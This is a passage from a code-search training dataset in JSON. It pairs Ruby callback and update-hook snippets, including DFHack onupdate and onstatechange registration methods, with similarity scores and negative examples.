"def update\n #\n # NO-OP\n #\n end",
"def synchronize!(updater); end",
"def watcher_callback\n @callback ||= Proc.new do |event|\n # Set new watcher\n watch\n # Rediscover\n discover\n end\n end",
"def handle_updator\n @updator.post_initialization\n return valid?\n end",
"def on_recovery(&block)\n self.redefine_callback(:after_recovery, &block)\n end",
"def on_recovery(&block)\n self.redefine_callback(:after_recovery, &block)\n end",
"def version_watcher_callback\n @version_callback ||= Proc.new do |event|\n # Set new watcher\n version_watch\n # Rediscover\n version_discover\n # restart synapse\n if @restart_synapse\n @restart_synapse = false\n log.info(\"restarting synapse\")\n res = `#{@discovery['reload_command']}`\n log.debug(res)\n raise \"failed to reload haproxy via #{@discovery['reload_command']}: #{res}\" unless $?.success?\n end\n end\n end",
"def on_data_changed; end",
"def on(update_type, &_)\n handler = ->(update) do\n return unless update['@type'] == update_type\n yield update\n end\n @update_manager.add_handler(handler)\n end",
"def once(type, &callback)\n add_listener(type, true, &callback)\n end",
"def on_shutdown\n\t\tend",
"def update_attribute_without_validatons_or_callbacks(name, value)\n set(Hash[name, value])\n end",
"def update?\n event == 'update'\n end",
"def on_notification(&block)\n @callback = block\n end",
"def on_satellites_change(&block)\n\t\t\t@on_satellites_change = block\n\t\tend",
"def on_exists_proc; end",
"def on_update(new_point)\n end",
"def synchronize(updater); end",
"def disconnected_callback(callback, &block)\n\t\t\t@disconnected = callback || block\n\t\tend",
"def register_failure_callback(callback)\n @duty_failure_callback = callback\n end",
"def callback\n self.class.callback\n end",
"def callback\n self.class.callback\n end",
"def after_update(event)\r\n expire_cache_for(event)\r\n end",
"def on_unbind(&block)\n @on_unbind.callback(&block) if block\n @on_unbind\n end",
"def after_update(flatseeker)\n expire_flatseeker_cache(flatseeker)\n end",
"def callback_type; end",
"def skip_reconfirmation_in_callback!; end",
"def callback(&block)\n @callbacks << block\n end",
"def on_unsubscribe(&block)\n @on_unsubscribe = block\n end",
"def callback\n @callback ||= :value.to_proc\n end",
"def callback_handler_remove\n rl_callback_handler_remove\n @rl_callback_handler = nil\n end",
"def after_update(event)\n expire_cache_for(event)\n end",
"def after_update(event)\n expire_cache_for(event)\n end",
"def definecallback(&b)\r\n\t\t\t@callback = b\r\n\t\tend",
"def setCB(callback)\n @callbackfn = callback\n end",
"def after_update(place)\n expire_cache_for(place)\n end",
"def after_update(entry)\n expire_cache_for(entry)\n end",
"def on_remove(&block)\n @onRemoveBlock = block\n end",
"def object_updated(object)\n notify\n end",
"def disable_after_run_callback\n @after_run_callback_disabled = true\n end",
"def update(*)\n unavailable_method\n end",
"def updated?\n false\n end"
] |
[
"0.6971363",
"0.68902653",
"0.6884721",
"0.68627286",
"0.67858887",
"0.6746627",
"0.6698707",
"0.65706336",
"0.65681237",
"0.65681237",
"0.6491961",
"0.6491961",
"0.6468902",
"0.64397025",
"0.6425761",
"0.6392026",
"0.6154841",
"0.6114577",
"0.6048724",
"0.602921",
"0.60100573",
"0.5865564",
"0.5859396",
"0.584215",
"0.5814688",
"0.58111554",
"0.5801206",
"0.5722208",
"0.5721601",
"0.57107455",
"0.5707943",
"0.5697568",
"0.5692786",
"0.5640784",
"0.5622821",
"0.56210786",
"0.5585917",
"0.5585917",
"0.55838925",
"0.55681354",
"0.5561897",
"0.5556489",
"0.5547014",
"0.55437464",
"0.55399287",
"0.5533981",
"0.5533305",
"0.55325836",
"0.55046433",
"0.55046433",
"0.54883",
"0.54883",
"0.5466286",
"0.5466286",
"0.54660803",
"0.5460624",
"0.5455597",
"0.54540646",
"0.5444407",
"0.5437763",
"0.54349",
"0.542066",
"0.542066",
"0.5402285",
"0.5361054",
"0.5356303",
"0.5348866",
"0.5345779",
"0.5320589",
"0.53197074",
"0.5315238",
"0.52836305",
"0.5271002",
"0.52699083",
"0.52674186",
"0.526648",
"0.5260207",
"0.52535677",
"0.52535677",
"0.52486473",
"0.52379614",
"0.5218853",
"0.5215894",
"0.520426",
"0.52018994",
"0.51992494",
"0.5196653",
"0.51895523",
"0.51803446",
"0.51803446",
"0.51787037",
"0.51784915",
"0.5175363",
"0.5174429",
"0.5172878",
"0.51696223",
"0.5163264",
"0.5159712",
"0.5151894"
] |
0.6853553
|
5
|
this method is called by dfhack every 'onupdate' if onupdate_active is true
|
def onupdate
@onupdate_list ||= []
ticks_per_year = TICKS_PER_YEAR
ticks_per_year *= 72 if gametype == :ADVENTURE_MAIN or gametype == :ADVENTURE_ARENA
@onupdate_list.each { |o|
o.check_run(cur_year, cur_year_tick, ticks_per_year)
}
if onext = @onupdate_list.sort.first
DFHack.onupdate_minyear = onext.minyear
DFHack.onupdate_minyeartick = onext.minyeartick
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def on_update; end",
"def update() end",
"def after_update; end",
"def after_update; end",
"def update\n run_callbacks :update do\n true\n end\n end",
"def after_update\n end",
"def after_update\n end",
"def after_update\n true\n end",
"def update ; end",
"def after_update(updated)\n # not required\n end",
"def before_update; end",
"def did_update\n trigger_events(:update)\n end",
"def on_update\n options[:on_update]\n end",
"def update; end",
"def update; end",
"def update; end",
"def update; end",
"def update; end",
"def update; end",
"def update; end",
"def update; end",
"def engine_notify_datas_updated(datas_updated)\n end",
"def update()\n end",
"def update\n true\n end",
"def update\n \n end",
"def after_update_callback\n puts('----------after_updateをコール----------')\n end",
"def update\n \t\n end",
"def update\n \t\n end",
"def update_active\n\t\tif self.changed.include? 'active' and !self.changed.include? 'on_bookshelf' and !self.active\n\t\t\tself.on_bookshelf = \"false\" #required for postgres\n\t\tend\n\tend",
"def update;end",
"def on_update(&block)\n @on_update = block\n end",
"def updated_data; end",
"def update\n \n end",
"def update; end",
"def update\n #Nothing necessary\n end",
"def mte_prepare_updating; send_request_to_mite(\"update\"); end",
"def updated_data\n\tend",
"def validate_on_update # :doc:\n end",
"def update\n # Not generally used\n end",
"def update\n # Not generally used\n end",
"def update\r\n\r\n end",
"def update\r\n end",
"def update\r\n end",
"def update\r\n end",
"def update\r\n end",
"def onupdate\n @onupdate_list ||= []\n\n y = cur_year\n ytmax = TICKS_PER_YEAR\n if df.gamemode == :ADVENTURE and df.respond_to?(:cur_year_tick_advmode)\n yt = cur_year_tick_advmode\n ytmax *= 144\n else\n yt = cur_year_tick\n end\n\n @onupdate_list.each { |o|\n o.check_run(y, yt, ytmax)\n }\n\n if onext = @onupdate_list.sort.first\n DFHack.onupdate_minyear = onext.minyear\n if ytmax > TICKS_PER_YEAR\n DFHack.onupdate_minyeartick = -1\n DFHack.onupdate_minyeartickadv = onext.minyeartick\n else\n DFHack.onupdate_minyeartick = onext.minyeartick\n DFHack.onupdate_minyeartickadv = -1\n end\n end\n end",
"def update\n\t\t\n\t\tend",
"def update\r\n end",
"def update\n ;\n end",
"def after_update_hook\n execute_hooks_for(:after, :update)\n end",
"def update \n end",
"def update\r\n # write some gangsta code here\r\n end",
"def update \n end",
"def update\n #\n # NO-OP\n #\n end",
"def update\n end",
"def update\n end",
"def update\n end",
"def update\n end",
"def update\n end",
"def update\n end",
"def update\n end",
"def update\n end",
"def update\n end",
"def update\n end",
"def update\n end",
"def update\n end",
"def update\n\t\t# Left empty intentionally.\n\tend",
"def update\n handle_orcamento_update\n end",
"def before_update_hook\n execute_hooks_for(:before, :update)\n end",
"def update\n super\n end",
"def update\n\t\tend",
"def update\n\t\tend",
"def update?\n event == 'update'\n end",
"def update?\n true\n end",
"def on_update(new_point)\n end",
"def auto_update_status\n if self.criminal_date && self.child_abuse_date && self.fbi_date\n if self.status < 2\n self.status = 2\n end\n elsif self.status == 2\n self.status = 1\n end\n end",
"def update\n end",
"def update\n end",
"def update\n end",
"def update\n end",
"def update\n end",
"def update\n end",
"def update\n end",
"def update\n end",
"def update\n end",
"def update\n end",
"def update\n end",
"def update\n end",
"def update\n end",
"def update\n end",
"def update\n end",
"def update\n end",
"def update\n end",
"def update\n end",
"def update\n end",
"def update\n end",
"def update\n end",
"def update\n end",
"def update\n end",
"def update\n end"
] |
[
"0.7552531",
"0.71937674",
"0.71727675",
"0.71727675",
"0.70702696",
"0.69972545",
"0.69972545",
"0.69237024",
"0.68888617",
"0.6878756",
"0.679569",
"0.6773571",
"0.67702633",
"0.67127323",
"0.67127323",
"0.67127323",
"0.67127323",
"0.67127323",
"0.67127323",
"0.67127323",
"0.67127323",
"0.6646683",
"0.6630035",
"0.6618719",
"0.6604976",
"0.65961146",
"0.65947187",
"0.65947187",
"0.6545008",
"0.6537539",
"0.6500809",
"0.6480158",
"0.647919",
"0.6451653",
"0.6439571",
"0.64313823",
"0.6427293",
"0.6407155",
"0.6406605",
"0.6406605",
"0.6403347",
"0.6398721",
"0.6398721",
"0.6398721",
"0.6398721",
"0.638961",
"0.63823116",
"0.6370275",
"0.63423896",
"0.63218856",
"0.6319686",
"0.6315972",
"0.62962765",
"0.62877214",
"0.6285276",
"0.6285276",
"0.6285276",
"0.6285276",
"0.6285276",
"0.6285276",
"0.6285276",
"0.6285276",
"0.6285276",
"0.6285276",
"0.6285276",
"0.6280533",
"0.6268909",
"0.62629277",
"0.6234376",
"0.62313014",
"0.6230635",
"0.6230635",
"0.62179214",
"0.6204425",
"0.61932886",
"0.6173539",
"0.6142108",
"0.6142108",
"0.6142108",
"0.6142108",
"0.6142108",
"0.6142108",
"0.6142108",
"0.6142108",
"0.6142108",
"0.6142108",
"0.6142108",
"0.6142108",
"0.6142108",
"0.6142108",
"0.6142108",
"0.6142108",
"0.6142108",
"0.6142108",
"0.6142108",
"0.6142108",
"0.6142108",
"0.6142108",
"0.6142108",
"0.6142108"
] |
0.6301687
|
52
|
delete the callback for onstatechange ; use the value returned by onstatechange_register
|
def onstatechange_unregister(b)
@onstatechange_list.delete b
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def onstatechange(newstate)\n @onstatechange_list ||= []\n @onstatechange_list.each { |cb| cb.call(newstate) }\n end",
"def onstatechange(newstate)\n @onstatechange_list ||= []\n @onstatechange_list.each { |cb| cb.call(newstate) }\n end",
"def onstatechange_register_once\n handle = onstatechange_register { |st|\n onstatechange_unregister(handle) if yield(st)\n }\n end",
"def onstatechange_register_once\n handle = onstatechange_register { |st|\n onstatechange_unregister(handle) if yield(st)\n }\n end",
"def on_state_timeup(state_id)\n end",
"def callback\n\tend",
"def on_state(state, &block)\n end",
"def event_change\n\t\n\tend",
"def after_state(state)\n end",
"def on_state_begin(state_id)\n end",
"def before_state(state)\n end",
"def fire_state_changed\n @sce = ChangeEvent.new(self) if @sce.nil?\n fire_handler :STATE_CHANGE, @sce\n end",
"def state_code\n end",
"def state\n end",
"def state_code\n end",
"def state_on_updateclient\n @log.debug(\"Net_state: change to state state_on_updateclient\")\n @network_state = :state_on_updateclient\n make_state_change_ntfy(:ntfy_state_onupdate)\n end",
"def callback\n\n end",
"def on_data_changed; end",
"def on_change(value)\n \n end",
"def state; end",
"def state; end",
"def state; end",
"def state; end",
"def state; end",
"def state; end",
"def state; end",
"def state; end",
"def callback\n end",
"def state_changed\n @state_condition.signal @state\n end",
"def callback_type; end",
"def on_state_erase(state_id)\n reset_effect_param_cache\n end",
"def passive_state_change!(state_details)\n api.state_change.create!(state_details)\n end",
"def changed(state=true)\n @observer_state = state\n end",
"def getClientState \n \"getClientState\" \n end",
"def callbacks; end",
"def callbacks; end",
"def enter_state\n end",
"def event; end",
"def event; end",
"def event; end",
"def destroyed(event)\n self.state = nil if event.target.data[:id] == state\n refresh\n end",
"def live\r\n @state=1\r\n end",
"def after_set_callback; end",
"def event(p_event)\n\t\n\t\t# Handle event only if it hasn't been handled and if it's an event we're after. Else, reset flag \n\t\tif !@closed_callback_handled && @closed_callback.is_a?(Proc) &&\n\t\t p_event.is_a?(Qt::WindowStateChangeEvent) && p_event.type.value == Qt::Event::WindowUnblocked\t \n\t\t\t \n\t\t\t@closed_callback.call\n\t\telse\n\t\t\t@closed_callback_handled = false\n\t\tend\n\t\t\n\tend",
"def remove_update_callback cb\n\t\t\t@update_callbacks.delete cb\n\t\tend",
"def state_transition_callback\n if status_changed?\n ScriptLog.info \"order callback: #{status_was} -> #{status}\"\n payout_address = nil\n payout_address = vendor.payout_btc_address if payment_method.is_bitcoin?\n payout_address = vendor.payout_ltc_address if payment_method.is_litecoin?\n\n payment_amount = payment_received\n if multipay_group\n # This order is a member of a multipay group. The requirements for being in a group is that the exact payment amount\n # was received for the set of orders. Therefore the amount paid to an order (either directly or indirectly) will always equal price.\n payment_amount = btc_price\n end\n\n commission_fraction = Rails.configuration.commission\n if vendor.commission\n # Vendor commission defaults to null. If it has been set, use that instead of system default.\n commission_fraction = vendor.commission\n end\n\n # Market changes state to finalized on \"finalize early\" orders so buyer doesn't need to. See FE doc above.\n if status_was == PAID && status == ACCEPTED && fe_required\n self.status = FINALIZED\n ScriptLog.info \"order callback: finalized early #{id}\"\n end\n\n if status_was == PAYMENT_PENDING && status == PAID_NO_STOCK\n self.buyer_payout = OrderPayout.new(btc_amount: payment_amount, payout_type: 'buyer', user: buyer)\n elsif status_was == PAYMENT_PENDING && status == EXPIRED\n # Create a new OrderPayout even if no payment received.\n # Order may never receive any payment but doesn't hurt to have a OP created in case it does later.\n self.buyer_payout = OrderPayout.new(btc_amount: payment_amount, payout_type: 'buyer', user: buyer)\n elsif status_was == PAID && status == DECLINED\n self.buyer_payout = OrderPayout.new(btc_amount: payment_amount, payout_type: 'buyer', user: buyer)\n elsif status_was == SHIPPED && status == FINALIZED\n self.commission = payment_amount * commission_fraction\n self.vendor_payout = OrderPayout.new(btc_amount: payment_amount - commission, payout_type: 'vendor', user: vendor, btc_address: payout_address)\n self.finalized_at = Time.now\n elsif status_was == SHIPPED && status == AUTO_FINALIZED\n self.commission = payment_amount * commission_fraction\n self.vendor_payout = OrderPayout.new(btc_amount: payment_amount - commission, payout_type: 'vendor', user: vendor, btc_address: payout_address)\n elsif (status_was == ACCEPTED || fe_required) && status == FINALIZED # buyer FE or this callback finalized.\n self.commission = payment_amount * commission_fraction\n self.vendor_payout = OrderPayout.new(btc_amount: payment_amount - commission, payout_type: 'vendor', user: vendor, btc_address: payout_address)\n self.finalized_at = Time.now\n elsif status_was == REFUND_REQUESTED && status == REFUND_FINALIZED\n self.buyer_payout = OrderPayout.new(btc_amount: payment_amount * refund_requested_fraction, payout_type: 'buyer', user: buyer)\n # Only create vendor payout if their amount is not zero. Don't care about creating buyer payout with zero payout amount.\n if refund_requested_fraction < 1.0\n vendor_portion = payment_amount - self.buyer_payout.btc_amount\n self.commission = vendor_portion * commission_fraction\n self.vendor_payout = OrderPayout.new(btc_amount: vendor_portion - commission, payout_type: 'vendor', user: vendor, btc_address: payout_address)\n end\n elsif status == ADMIN_FINALIZED\n # refund amounts are final and cannot be adjusted because payout script may have already retrieved payouts since this was saved.\n # Only create vendor payout if their amount is not zero. Don't care about creating buyer payout with zero payout amount.\n self.buyer_payout = OrderPayout.new(btc_amount: payment_amount * admin_finalized_refund_fraction, payout_type: 'buyer', user: buyer)\n if admin_finalized_refund_fraction < 1.0\n vendor_portion = payment_amount - self.buyer_payout.btc_amount\n self.commission = vendor_portion * commission_fraction\n self.vendor_payout = OrderPayout.new(btc_amount: vendor_portion - commission, payout_type: 'vendor', user: vendor, btc_address: payout_address)\n end\n end\n end\n end",
"def callback\n false\n end",
"def on_disconnected\n end",
"def state_code\n ''\n end",
"def event_state=(new_state)\n self[:event_state] = FFILib::ReaderStateQuery.pack_state new_state\n end",
"def extra_state; end",
"def state_removed! statemachine\n transitions_changed!\n end",
"def setCB(callback)\n @callbackfn = callback\n end",
"def register_state_handler(state, &block)\n register(\"state_#{state}\", &block)\n end",
"def on_db_service_state(context, host, port, ostate)\n\tend",
"def on_shutdown\n\t\tend",
"def on_db_service_state(host, port, ostate)\n\tend",
"def callback_handler_remove\n rl_callback_handler_remove\n @rl_callback_handler = nil\n end",
"def onUnload\n end",
"def after_remembered; end",
"def on?; self.refresh!['state']['on']; end",
"def interprete_callback event\n case event.utd\n when \"Ci\"\n interprete_callback_control_input event\n when \"Co\"\n interprete_callback_control_output event\n when \"Bi\"\n interprete_callback_bulk_input event\n when \"Bo\"\n interprete_callback_bulk_output event\n when \"Zi\", \"Zo\", \"Ii\", \"Io\"\n STDERR.puts \"*** Unhandled callback utd #{event.utd}\"\n else\n raise \"Unknown event type #{event.type.inspect}\"\n end\n @state = :idle\n end",
"def store_cherry_pick_state; end",
"def store_cherry_pick_state; end",
"def after_setting_value_callback; end",
"def discard_saved_state\n end",
"def state=(new_state)\n @state = new_state\n refresh\n end",
"def client_disconnected\n end",
"def onupdate_unregister(b)\n @onupdate_list.delete b\n if @onupdate_list.empty?\n DFHack.onupdate_active = false\n DFHack.onupdate_minyear = DFHack.onupdate_minyeartick = 0\n end\n end",
"def success\n self.state = :success\nend",
"def states; end",
"def on_event(event)\n if event == :reset\n @counter = 0 # ignore initial value\n end\n end",
"def callback=(_arg0); end",
"def changed state = true\n @observer_state = state\n end",
"def on_update; end",
"def event_bus; end",
"def event_bus; end",
"def state=(state)\n s = state.to_s.downcase\n return if s == \"cancelled\" && !stop\n self[:saved_state] = s\n end",
"def init_state_handler\n set_state_handler(:start)\n set_state_handler(:change)\n set_state_handler(:player)\n set_state_handler(:enemy)\n set_state_handler(:friend)\n set_state_handler(:over)\n end",
"def state_callback(before_or_after = :before)\n method_name = :\"#{before_or_after}_#{@order.state}\"\n send(method_name) if respond_to?(method_name, true)\n end",
"def state_callback(before_or_after = :before)\n method_name = :\"#{before_or_after}_#{@order.state}\"\n send(method_name) if respond_to?(method_name, true)\n end",
"def state_callback(before_or_after = :before)\n method_name = :\"#{before_or_after}_#{@order.state}\"\n send(method_name) if respond_to?(method_name, true)\n end",
"def after_state=(value)\n sync_configuration\n end",
"def sessionStateChanged(session, state: state, error: error)\n case state\n when FBSessionStateOpen\n unless error\n # We have a valid session\n NSLog(\"User session found\")\n end\n when FBSessionStateClosed, FBSessionStateClosedLoginFailed\n FBSession.activeSession.closeAndClearTokenInformation\n end\n\n NSNotificationCenter.defaultCenter.postNotificationName(FBSessionStateChangedNotification, object: session)\n\n UIAlertView.alloc.initWithTitle(\"Error\", message: error.localizedDescription, delegate: nil, cancelButtonTitle: \"OK\", otherButtonTitles: nil).show if error\n end",
"def off!\n put '/state', { 'on' => false, 'transitiontime' => 0 }.to_json\n end",
"def handle_event(event)\n\n\t\tend",
"def on_satellites_change(&block)\n\t\t\t@on_satellites_change = block\n\t\tend",
"def on_state_apply(state_id)\n reset_effect_param_cache\n end",
"def callback\n self.class.callback\n end",
"def callback\n self.class.callback\n end",
"def app_state(app_id)\n @bridge.app_state(app_id)\n end",
"def app_state(app_id)\n @bridge.app_state(app_id)\n end",
"def after_deactivate\n end",
"def update_state\n raise \"Nothing to do\"\n end",
"def verify_callback=(verify_callback); end",
"def verify_callback=(verify_callback); end",
"def ignore_state_changes!\n @ignore_state_changes = true\n end",
"def callback_names\n machine.states + machine.events + [ANY_EVENT, ANY_STATE]\n end",
"def answer_on_incoming()\n update({:state => 'active'})\n reload()\n end"
] |
[
"0.71614426",
"0.71614426",
"0.6394786",
"0.6394786",
"0.6378013",
"0.61333764",
"0.61212856",
"0.61084485",
"0.60863596",
"0.6000661",
"0.5999841",
"0.5953311",
"0.5854173",
"0.58467174",
"0.58413976",
"0.57923764",
"0.5788757",
"0.5772229",
"0.5754699",
"0.57387626",
"0.57387626",
"0.57387626",
"0.57387626",
"0.57387626",
"0.57387626",
"0.57387626",
"0.57387626",
"0.5737316",
"0.5679177",
"0.5672627",
"0.5659236",
"0.5614168",
"0.56021243",
"0.55784553",
"0.55713636",
"0.55713636",
"0.5505162",
"0.55023605",
"0.55023605",
"0.55023605",
"0.54884106",
"0.5472211",
"0.54620093",
"0.54326224",
"0.54230464",
"0.5398163",
"0.5387204",
"0.53796655",
"0.53668433",
"0.5365827",
"0.5349337",
"0.53197163",
"0.53037256",
"0.5296299",
"0.5288457",
"0.528523",
"0.52613413",
"0.52493525",
"0.52410215",
"0.52358663",
"0.52309245",
"0.5229569",
"0.52111",
"0.52111",
"0.5184396",
"0.51735705",
"0.5172205",
"0.51715654",
"0.51664025",
"0.51645446",
"0.5159148",
"0.51558685",
"0.5146528",
"0.5127096",
"0.5122526",
"0.51117724",
"0.51117724",
"0.51096123",
"0.5106089",
"0.5103455",
"0.5103455",
"0.5103455",
"0.5095697",
"0.5089934",
"0.50891566",
"0.5083834",
"0.5083368",
"0.5078583",
"0.5066645",
"0.5066645",
"0.5060594",
"0.5060594",
"0.5058689",
"0.5058445",
"0.5051402",
"0.5051402",
"0.50495",
"0.50458187",
"0.5042843"
] |
0.7015332
|
3
|
same as onstatechange_register, but autounregisters if the block returns true
|
def onstatechange_register_once
handle = onstatechange_register { |st|
onstatechange_unregister(handle) if yield(st)
}
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def on_state(state, &block)\n end",
"def on_actuator_state(&block)\n\t\t\t@on_actuator_state = block\n\t\tend",
"def register_state_handler(state, &block)\n register(state_key(state), &block)\n end",
"def register_state_handler(state, &block)\n register(\"state_#{state}\", &block)\n end",
"def on_confchg(&block)\n\t\t@confchg_callback = block\n\tend",
"def register_automatically(user, &block)\n # Automatic activation\n user.activate\n user.last_login_on = Time.now\n if user.save\n self.logged_user = user\n flash[:notice] = l(:notice_account_activated)\n redirect_to my_account_path\n else\n yield if block_given?\n end\n end",
"def onChange (&block)\n debug(\"Somebody bound to me\")\n @changeListeners << block\n end",
"def onChange (&block)\n debug(\"Somebody bound to me\")\n @changeListeners << block\n end",
"def onupdate_register_once(*a)\n handle = onupdate_register(*a) {\n onupdate_unregister(handle) if yield\n }\n end",
"def onupdate_register_once(*a)\n handle = onupdate_register(*a) {\n onupdate_unregister(handle) if yield\n }\n end",
"def on_recovery(&block)\n self.redefine_callback(:after_recovery, &block)\n end",
"def on_recovery(&block)\n self.redefine_callback(:after_recovery, &block)\n end",
"def on_change (&block)\n debug \"Somebody bound to me\"\n @change_observers << block\n end",
"def on_satellites_change(&block)\n\t\t\t@on_satellites_change = block\n\t\tend",
"def on_ready(&block)\n block_given? ? @_on_ready = block : @_on_ready\n end",
"def when_ready(&block)\n handle :ready, &block\n end",
"def on_change_status(&block)\n self.actions[:change_status] = block\n end",
"def on_status(&block)\n @on_status = block\n end",
"def on_status(&block)\n @on_status = block\n end",
"def on_check_completed(&block)\n @check_completed_handler = block\n end",
"def on_inited(&block)\n if block_given?\n @on_inited = block\n self\n else\n @on_inited\n end\n end",
"def before_recovery(&block)\n self.redefine_callback(:before_recovery, &block)\n end",
"def before_recovery(&block)\n self.redefine_callback(:before_recovery, &block)\n end",
"def on_state_begin(state_id)\n end",
"def on_quorumchg(&block)\n\t\t@quorumchg_callback = block\n\tend",
"def register_one(owner, event, priority, &block); end",
"def on_ready(&block)\n block_given? ? @_on_error = block : @_on_error\n end",
"def on_ready(&block)\n block_given? ? @_on_error = block : @_on_error\n end",
"def is_registered_true!\n self.is_registered = true\n end",
"def on_new_actuator &block\n\t\t\t@on_new_actuator = block\n\t\tend",
"def on_change(&block)\n @change_listener = block\n end",
"def on_complete(&block)\n @on_complete = block if block_given?\n @on_complete\n end",
"def on(what, *, &block)\n if STATES.include?(what) || %w[success failure].include?(what) || Integer === what\n @callbacks[what] << block\n else\n super\n end\n end",
"def register user\n user_state[user] ||= :idle\n end",
"def on_refresh(&block)\n @connection.on_refresh_cb = block\n end",
"def voice_state_update(attributes = {}, &block)\n register_event(VoiceStateUpdateEvent, attributes, block)\n end",
"def run_registration_block(&block)\n instance_exec &block if block_given?\n end",
"def on?; self.refresh!['state']['on']; end",
"def register_callback(&block)\n @_aclize_callback = block\n end",
"def run_registration_block(&block)\n instance_exec &block if block_given?\n end",
"def activate_finally_hooks\n results = execute_sql_query(\n \"select state_flag from state \\n \" \\\n \"where state_flag like '%FINALLY_%' \\n\" \\\n \"and status = '#{NOT_RUN}';\"\n )\n results[0].each do |state_flag|\n activate(action: state_flag)\n end\n define_singleton_method(:activate_finally_hooks) {}\n end",
"def on_new_sensor &block\n\t\t\t@on_new_sensor = block\n\t\tend",
"def register_events(klass, state, other_params, &exec_block)\n @klass_being_defined = klass\n @state_being_defined = state\n\n # if an initial state has not been set, then set it. In practice, means the first state definition\n # gets the initial state.\n @cfsm_initial_state[ klass ] = state unless @cfsm_initial_state[ klass ]\n\n # Evaluate the transition definitions\n self.instance_eval( &exec_block ) if exec_block\n\n @klass_being_defined = nil\n @state_being_defined = nil\n @other_params = other_params\n end",
"def register!\n self.state = \"pending\"\n self.activation_code = new_code\n self.activated_at = nil \n save(:validate=>false)\n end",
"def on_complete(&block)\n @on_complete = block\n end",
"def enter_state\n end",
"def on_success( &block )\n @on_success = block\n end",
"def record_block\n @block = true\n end",
"def finish_register\n end",
"def on_success(&block)\n @handlers[:success] = block\n self\n end",
"def on_change(&block)\n self.tracked = true\n notify do\n block.call(read)\n end\n end",
"def on_load(&block)\n @on_load ||= block\n end",
"def block\n true\n end",
"def on_success( &block )\n @on_success_blocks ||= []\n @on_success_blocks << block\n end",
"def on_reload &block\n return if done?\n @on_reload_callbacks.push block\n end",
"def activate_hooks(hook)\n execute_sql_query(\n \"select state_flag from state \\n \" \\\n \"where state_flag like '%#{hook}_%' \\n\" \\\n \"and status = '#{NOT_RUN}';\"\n ).each do |result|\n activate(action: result[0])\n end\n define_singleton_method(:activate_after_hooks) {}\n end",
"def on_success(&block)\n apply_hook(:success, &block)\n end",
"def activate\n self.send(@activation_block)\n end",
"def on(definition, &block)\n create_active(definition)\n call_block(&block)\n end",
"def on_state_timeup(state_id)\n end",
"def on_entry(in_state: nil, &block)\n end",
"def after_state=(value)\n sync_configuration\n end",
"def activate\n @status = true\n end",
"def activate\n (self.class.activate_hooks + activate_hooks).each do |block|\n block.call self\n end\n end",
"def activate(&callback)\n if activated?\n raise RuntimeError, \"binding is already activated\"\n end\n unless callback\n raise ArgumentError, \"#{self.class.name}##{__method__} expects a callback block\"\n end\n @subscription_id = store.subscribe do | prior |\n if changed?(prior)\n callback.call(prior)\n end\n end\n end",
"def on_connection_established(&block)\n @on_connection_established_block = block\n end",
"def onstatechange(newstate)\n @onstatechange_list ||= []\n @onstatechange_list.each { |cb| cb.call(newstate) }\n end",
"def onstatechange(newstate)\n @onstatechange_list ||= []\n @onstatechange_list.each { |cb| cb.call(newstate) }\n end",
"def on_start(&block)\n @on_start << block\n end",
"def on(name, &block)\n @handlers[name.to_s] = block\n end",
"def transition(&block)\n @transition_function = block\n end",
"def method_missing(sym,*args, &block)\n if sym.to_s.match(/^(on|before|after)_/)\n register_handler(sym.to_s,args.first,&block)\n else\n super\n end\n end",
"def onNodeUp(&block)\n @onUpBlock = block\n end",
"def check_event_trigger_auto\n start if @trigger == 3\n end",
"def reconfigure(&block)\n mutex.lock\n raise ArgumentError.new('no block given') unless block_given?\n if @state == :pending\n @task = block\n true\n else\n false\n end\n ensure\n mutex.unlock\n end",
"def state_changed\n @state_condition.signal @state\n end",
"def register_with_feewise?\n \"DONE\"\n end",
"def on_connection_success &block\n @connection_success_callback = block\n end",
"def activate!(user)\n return false if self.active?\n\n @user = user\n\n create_hook!\n\n self.active = true\n self.save!\n end",
"def on_success(&block); end",
"def register\n @is_registered = true\n self\n end",
"def on_complete( &block )\n fail 'Block is mandatory!' if !block_given?\n @on_complete_blocks << block\n self\n end",
"def do_ready_state( item )\n @proxy.do_ready_state( validate_item( item ) )\n end",
"def on_subscribed(&block)\n return unless block\n\n call_now = false\n @lock.synchronize do\n if @subscribed\n call_now = true\n else\n @on_subscribed_handlers << block\n end\n end\n if call_now\n after(0, &block)\n end\n end",
"def method_missing(sym,*args, &block)\n if sym.to_s.match(/^(on|before|after)_/)\n register_handler(sym.to_s,args.first,&block)\n else\n super\n end\n end",
"def live\r\n @state=1\r\n end",
"def on_update(&block)\n @on_update = block\n end",
"def on_room_change(&blk)\n @on_room_block = blk\n end",
"def after_state(state)\n end",
"def on_receive(&block)\n self.on_receive = block if block\n @on_receive\n end",
"def on trigger, &block\n @handlers[trigger] = [] unless @handlers.key? trigger\n @handlers[trigger] << block\n end",
"def enable!\n @active = true\n change_status(:wait)\n end",
"def block!\n self.update_attribute(:status, BLOCKED)\n end",
"def on_altitude_change(&block)\n\t\t\t@on_altitude_change = block\n\t\tend",
"def auto_registration?\n false\n end",
"def let(callback_name, &block)\n raise ArgumentError, \"Incorrect callback `#{callback_name}'.\" unless [:uuid_scope, :push].include?(callback_name)\n @callbacks[callback_name] = block\n end",
"def on_create(&block)\n @on_create_hook = block\n self\n end",
"def callback\n false\n end",
"def on(event, &block)\n hooks[event.to_sym] ||= []\n hooks[event.to_sym] << block\n end"
] |
[
"0.66989094",
"0.6476662",
"0.62296855",
"0.619848",
"0.60056406",
"0.5990404",
"0.59616053",
"0.59616053",
"0.5945412",
"0.5945412",
"0.59400636",
"0.59400636",
"0.5933006",
"0.59223443",
"0.58912086",
"0.586281",
"0.58574593",
"0.5852536",
"0.5852536",
"0.5852188",
"0.5721525",
"0.5714473",
"0.5714473",
"0.57011044",
"0.5695512",
"0.5679784",
"0.56734675",
"0.56734675",
"0.56207263",
"0.5612397",
"0.5578022",
"0.5571899",
"0.556636",
"0.55643415",
"0.55460346",
"0.55309236",
"0.55214334",
"0.5513102",
"0.5504682",
"0.55017495",
"0.54928446",
"0.5466382",
"0.54608035",
"0.5433433",
"0.5424613",
"0.54161966",
"0.54090524",
"0.5376513",
"0.5356594",
"0.53540224",
"0.53526527",
"0.53302026",
"0.531871",
"0.53177315",
"0.5317141",
"0.5302903",
"0.52923334",
"0.5290631",
